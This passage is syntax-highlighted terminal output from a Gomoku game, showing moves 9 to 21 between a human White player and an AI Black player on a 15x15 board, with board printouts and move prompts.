class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">5</span>, <span class="number">6</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">9</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">6</span></span></span><br><span class="line"><span class="function"><span class="number">7</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">10</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">7</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">11</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">3</span></span></span><br><span class="line"><span class="function"><span class="number">7</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">12</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">2</span>, <span class="number">8</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">13</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">4</span></span></span><br><span class="line"><span class="function"><span class="number">7</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">14</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">1</span>, <span class="number">4</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">15</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  .  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">2</span></span></span><br><span class="line"><span class="function"><span class="number">4</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">16</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  .  .  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">1</span>, <span class="number">2</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">17</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  B  .  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  .  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">2</span></span></span><br><span class="line"><span class="function"><span class="number">3</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">18</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  B  .  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">1</span>, <span class="number">3</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">19</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  B  B  B  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">Player White, enter move (x y) or <span class="number">-1</span> <span class="number">-1</span> to undo: <span class="number">1</span></span></span><br><span class="line"><span class="function"><span class="number">5</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">20</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> .  .  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">7</span> .  .  .  B  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">8</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">9</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">10</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">11</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">12</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">13</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">14</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function">AI (Black) is thinking...</span></span><br><span class="line"><span class="function">AI plays at (<span class="number">1</span>, <span class="number">0</span>)</span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function">Current Step: <span class="number">21</span></span></span><br><span class="line"><span class="function">    <span class="number">0</span>  <span class="number">1</span>  <span class="number">2</span>  <span class="number">3</span>  <span class="number">4</span>  <span class="number">5</span>  <span class="number">6</span>  <span class="number">7</span>  <span class="number">8</span>  <span class="number">9</span> <span class="number">10</span> <span class="number">11</span> <span class="number">12</span> <span class="number">13</span> <span class="number">14</span></span></span><br><span class="line"><span class="function"><span class="number">0</span> .  .  .  .  .  .  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">1</span> B  .  B  B  B  W  .  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">2</span> .  .  .  W  W  .  .  .  B  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">3</span> .  .  .  .  B  .  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">4</span> .  .  .  .  B  B  W  W  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">5</span> .  .  .  .  B  W  B  .  .  .  .  .  .  .  .</span></span><br><span class="line"><span class="function"><span class="number">6</span> .  .  .  .  W  .  .  